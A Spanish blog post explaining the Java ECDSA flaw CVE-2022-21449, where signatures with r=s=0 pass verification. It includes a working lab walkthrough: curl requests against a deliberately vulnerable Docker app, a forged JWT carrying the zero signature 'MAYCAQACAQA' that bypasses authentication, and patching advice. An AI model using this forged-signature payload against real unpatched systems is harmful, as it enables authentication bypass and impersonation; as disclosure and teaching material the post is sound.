"Psico-firmas" con ECDSA en Java

Algunos le llaman el error criptográfico del año, pues se trata de un error bastante "tontorrón" en la implementación en java de la validación de firma con ECDSA (Elliptic Curve Digital Signature Algorithm). A grandes rasgos, la verificación utiliza la clave pública del firmante, un hash del mensaje y dos valores: r y s. La ecuación compara r por un lado, con r por un derivado de s por otro... ¿el problema? que NO comprueba si los valores de r y s son 0... Por lo tanto, basta con setearlos ambos y el resultado de multiplicar por 0 será 0 por lo que siempre será 0 = 0 y, es decir, válido o correcto!

Aunque ECDA ha tenido soporte en java desde hace tiempo, la vulnerabilidad fue provocada en la reimplementación del código C++ nativo a Java, que ocurrió con la publicación de Java 15. Explotando esta vulnerabilidad, con CVE-2022-21449, cualquiera puede falsificar fácilmente algunos tipos de certificados SSL y protocolos de enlace (lo que permite la interceptación y modificación de las comunicaciones) como signed JWTs, SAML assertions, OIDC ID tokens y WebAuthn. (usados por los Yubikeys).

Para probarlo tenemos un repo de DataDog con una aplicación web vulnerable.

Instalación

Podemos ejecutarla directamente:

docker run --name vulnerable-app --rm -p 8080:8080 ghcr.io/datadog/jwt-null-signature-vulnerable-app

o construirla:
docker build . -t vulnerable-app
docker run -p 8080:8080 --name vulnerable-app --rm vulnerable-app

Explotación:

La aplicación tiene un endpoint único que requiere autenticación con un JWT válido (con una clave privada generada aleatoriamente):

$ curl localhost:8080 -sSL -D-
HTTP/1.1 401
Content-Type: text/plain;charset=UTF-8
Content-Length: 46
Date: Wed, 20 Apr 2022 14:53:06 GMT


You are not authorized to access this endpoint

Especificar un JWT no válido (por ejemplo, firmado con cualquier clave EC256) también devuelve un error:
# Generated on https://token.dev/ with the algorithm "ES256"
$ JWT=eyJ0eXAiOiJKV1QiLCJhbGciOiJFUzI1NiJ9.eyJzdWIiOiJSaWNrIEFzdGxleSIsImFkbWluIjp0cnVlLCJpYXQiOjE2NTA0NjY1MDIsImV4cCI6MTkwMDQ3MDEwMn0.R05LldFQf7kay5-8hPeJYnYD_ehxKAKFXo-t6Qt7ZKUKkQSQowOHeiZBI9ierO1q6AZlJ4GsXFsxhPrj6m4cMg
$ curl localhost:8080 -sSL -D- -H "Authorization: Bearer $JWT"
HTTP/1.1 401
Content-Type: text/plain;charset=UTF-8
Content-Length: 11
Date: Wed, 20 Apr 2022 14:56:04 GMT

Invalid JWT

Sin embargo, al especificar una firma ECDSA con r=s=0 codificada en DER, MAYCAQACAQA=, ¡nos permite omitir la verificación de verificación de JWT!

$ echo -ne "MAYCAQACAQA=" | base64 -d | openssl asn1parse -inform der
0:d=0  hl=2 l=   6 cons: SEQUENCE
2:d=1  hl=2 l=   1 prim: INTEGER           :00
5:d=1  hl=2 l=   1 prim: INTEGER           :00

# Same JWT as above with the malicious signature
$ JWT=eyJ0eXAiOiJKV1QiLCJhbGciOiJFUzI1NiJ9.eyJzdWIiOiJSaWNrIEFzdGxleSIsImFkbWluIjp0cnVlLCJpYXQiOjE2NTA0NjY1MDIsImV4cCI6MTkwMDQ3MDEwMn0.MAYCAQACAQA
$ curl localhost:8080 -sSL -D- -H "Authorization: Bearer $JWT"
HTTP/1.1 200
Content-Type: text/plain;charset=UTF-8
Content-Length: 19
Date: Wed, 20 Apr 2022 14:59:18 GMT

Hello, Rick Astley!

Parche:

¡Actualiza tu versión de Java tan pronto como puedas!
Las versiones de Java más recientes son Java 17 (LTS) y Java 18, que se actualizan a 17.0.3 y 18.0.1 respectivamente.

 Fuentes: 

Comentarios